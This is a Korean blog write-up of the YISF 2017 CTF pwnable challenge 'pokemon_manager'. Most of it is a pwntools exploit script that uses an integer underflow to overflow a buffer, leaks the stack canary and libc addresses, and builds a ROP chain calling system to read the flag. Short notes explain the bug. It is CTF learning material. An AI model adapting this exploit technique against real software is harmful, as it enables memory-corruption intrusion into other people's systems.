-
YISF 2017 write upPwnable/CTF 2017. 8. 10. 22:58
+
PWN YISF 200
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175from pwn import *p=remote("localhost",14902)elf = ELF("./pokemon_manager")pop_rdi = 0x401f63def trainer(name,age):print p.recvuntil('name: ')p.send(name)print p.recvuntil('age: ')p.sendline(str(age))def input_s(name,level,comment):print p.recvuntil('> ')p.send("1")print p.recvuntil('name: ')p.send(str(name))print p.recvuntil('level: ')p.send(str(level))print p.recvuntil('comment: ')p.send(comment)def output():print p.recvuntil('> ')p.sendline("2")def modify(name,level,comment):print p.recvuntil('> ')p.sendline("4")print p.recvuntil('name: ')p.send(name)print p.recvuntil('level: ')p.send(str(level))print p.recvuntil('comment: ')p.send(comment)def lost_battle():p.recvuntil('>')p.sendline("3")p.recvuntil('>')p.sendline("4")p.recvuntil('3. hyper beam')p.sendline("3") #battle lost ! level down -> -1trainer("A"*56,"-1")input_s("B","0","C"+"B")modify("A"*64,"0","C"*288+"B")lost_battle()output()p.recvuntil("C"+"B")canary = u64("\x00"+p.recv(7))print hex(canary)stack = u64(p.recv(6)+"\x00\x00")print "stack:: "+hex(stack)cmd = "cat flag 1>&4 0>&4;"payload = "C"*288 #bufferpayload += "A"*16 #canary + sfppayload += "Z"*63 #ret + paddingpayload += "Q"modify("A"*64,"0",payload)lost_battle()output()print p.recvuntil("Z"+"Q")__libc_start_main = u64(p.recv(6)+"\x00\x00") - 240libc_base = __libc_start_main - 0x20740system = libc_base + 0x45390BinSh = system + 0x172017print hex(libc_base)print hex(system)print hex(BinSh)socat_BinSh = stack - 0x168print hex(socat_BinSh)payload = "cat flag\x00\x00\x00"payload += "Q"*(288-len(payload))payload += p64(canary)payload += "A"*8payload += p64(pop_rdi)payload += p64(stack)payload += p64(system)payload += "Q"*20+"A"*12+"cat falg 1>&4\x00"modify("A"*64,"123123",payload)p.interactive()cs 다른건 다 쉬웠는데 int, int_64차이로 릭 안 되는것은 처음 봐서 라이트업을 봐버렸다.
그냥 엄청 간단했다 ..
대충 인티저 언더플로우 가까운 수 (0,1) 를 넣고 상대방 포켓몬한테지면 레벨이 -2 되는데 그렇게해서 언더플로우 일어나면 내가 입력한수로 언더플로우 일어난게아니기때문에 int_64로 맞춰지기때문에 0xffffffff로 되면서 버퍼가 채워진다.
포켓몬 4번째 포켓몬에 구조체에 값을 넣는것을보면 내가 입력한 포켓몬의 능력치를 따라하고 등등 아래에서 연산하는것을 볼수있다.
그 포켓몬과 싸우면된다.
트레이너 포켓몬 상대 포켓몬(몬스터) 구조체를 먼저 분석하고 풀면된다.
'Pwnable > CTF' 카테고리의 다른 글
BCTF 2016 Bcloud (0) 2017.08.27 YISF 2017 본선 (0) 2017.08.13 HITCON 2016 SleepyHolder (0) 2017.07.13 HITCON 2016 SecretHolder (0) 2017.07.11 Secuinside 2017 ohce (0) 2017.07.03